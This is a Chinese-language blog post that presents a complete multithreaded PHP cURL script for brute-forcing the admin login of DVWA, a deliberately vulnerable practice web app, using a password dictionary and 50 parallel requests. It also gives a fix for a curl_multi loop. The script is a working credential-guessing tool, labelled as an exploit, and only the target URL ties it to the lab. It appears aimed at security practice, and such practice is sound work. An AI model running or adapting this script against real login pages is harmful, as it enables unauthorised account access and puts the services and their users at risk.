正在阅读:

CURL多线程破解DVWA登陆密码

10,504

昨天本站发了一个使用CURL单线程破解DVWA登陆密码的脚本,今天继续来玩CURL,这次使用多线程。。

CURL单线程破解DVWA登陆密码

关于PHP的CUR多线程,我参考了网上的不少资料,同时也发现了一些小问题,分享给大家。

淘宝的搜索技术博客上面的CURL方法,关于判断CURL状态的代码,在某些PHP版本情况下会导致死循环。

do {
     $mrc = curl_multi_exec($queue, $active);
 } while ($mrc == CURLM_CALL_MULTI_PERFORM);
   while ($active > 0 && $mrc == CURLM_OK) {
     if (curl_multi_select($queue, 0.5) != -1) {
         do {
             $mrc = curl_multi_exec($queue, $active);
         } while ($mrc == CURLM_CALL_MULTI_PERFORM);
     }
 }

我测试的是php版本是php5.3.13 win7 64位版本下面,直接使用淘宝博客上面的会死循环,改成下面的成功运行。

    $active = null;
    do {
        $mrc = curl_multi_exec($mh, $active); //当无数据,active=true
    } while ($mrc == CURLM_CALL_MULTI_PERFORM); //当正在接受数据时
    while ($active && $mrc == CURLM_OK) {
        if (curl_multi_select($mh) === -1) {
            usleep(100);
        }
        do {
            $mrc = curl_multi_exec($mh, $active);
        } while ($mrc == CURLM_CALL_MULTI_PERFORM);
    }

好了,今天来介绍我们的CURL多线程破解DVWA登陆密码的脚本,代码如下:

<?php
/**
 * Created by 独自等待
 * Date: 14-3-1
 * Time: 下午8:42
 * Name: curl_multi_crack.php
 * 独自等待博客:http://www.waitalone.cn/
 * 参考信息:
 * http://code.google.com/p/rolling-curl/source/browse/trunk/RollingCurl.php
 * http://blog.longwin.com.tw/2009/10/php-multi-thread-curl-2009/
 */
print_r('
+------------------------------------------------------+
              CURL多线程破解DVWA登陆密码
             Site:http://www.waitalone.cn/
                Exploit BY: 独自等待
                  Time:2014-03-02
+------------------------------------------------------+
');
error_reporting(7);
$start_time = func_time();
if (!extension_loaded('curl')) {
    exit('请开启CURL扩展,谢谢!');
}
require_once('RollingCurl.php'); //载入多线程类
$threads = 50;
$timeout = 0.5;
$dicfile = 'password.txt';
$dict = file($dicfile);
function dvwa_crack($response, $info, $request)
{
    if ($info['http_code'] !== 200) {
        exit('请检查网络是否正常,谢谢!' . PHP_EOL);
    }
    $p = $request->post_data;
    preg_match('/username\=(.*?)&password\=(.*?)&Login\=%E7%99%BB%E9%99%86/i', $p, $mm);
    $user = $mm[1];
    $pass = $mm[2];
    if (!preg_match('/Location: index.php/', $response, $match)) {
        //print_r($match);
        echo '密码破解失败    ' . '用户名:' . $user . '    密码:' . $pass . PHP_EOL;
    } else {
        echo '密码破解成功    ' . '用户名:' . $user . '    密码:' . $pass . chr(07) . PHP_EOL;
        file_put_contents('result.txt', '密码破解成功    ' . '用户名:' . $user . '    密码:' . $pass . PHP_EOL);
    }
}

$url = 'http://localhost/dvwa/login.php';
$user = 'admin'; //要破解的用户名
$rc = new RollingCurl('dvwa_crack');
$rc->__set('window_size', $threads); //设置线程
$rc->__set('time_out', $timeout); //设置超时时间
//echo $rc->__get('window_size');
$method = 'POST';
//循环进行破解
foreach ($dict as $pass) {
    $pass = trim($pass); //去掉多余字符
    $post_data = "username=$user&password=$pass&Login=%E7%99%BB%E9%99%86";
    $request = new RollingCurlRequest($url, $method, $post_data); //CURLOPT_HEADER显示HTTP头信息 CURLOPT_NOBODY不显示BODY体
    $request->options = array(
        CURLOPT_HEADER => 1,
        CURLOPT_NOBODY => 1
    );
    $rc->add($request);
}
$rc->execute();
//时间统计函数
function func_time()
{
    list($microsec, $sec) = explode(' ', microtime());
    return $microsec + $sec;
}

echo '脚本执行时间:' . round((func_time() - $start_time), 4) . '秒。';
?>

代码执行过程中会显示当前正在破解的密码,并且会把破解成功以后的密码写入到result.txt文件中,友情提醒,破解成功会有蜂鸣声提示的哦,运行效果如下:

CURL多线程破解DVWA登陆密码

CURL多线程破解DVWA登陆密码

代码参考了某大牛破解yunfile网盘密码,在此感谢,不过大牛的代码在设置破解线程的时候写错了,我这里已经改过来了,不过不知道大牛的联系方式,也不能告诉他,希望他也能看到这个文章吧。。

留下脚印,证明你来过。

*

*

流汗坏笑撇嘴大兵流泪发呆抠鼻吓到偷笑得意呲牙亲亲疑问调皮可爱白眼难过愤怒惊讶鼓掌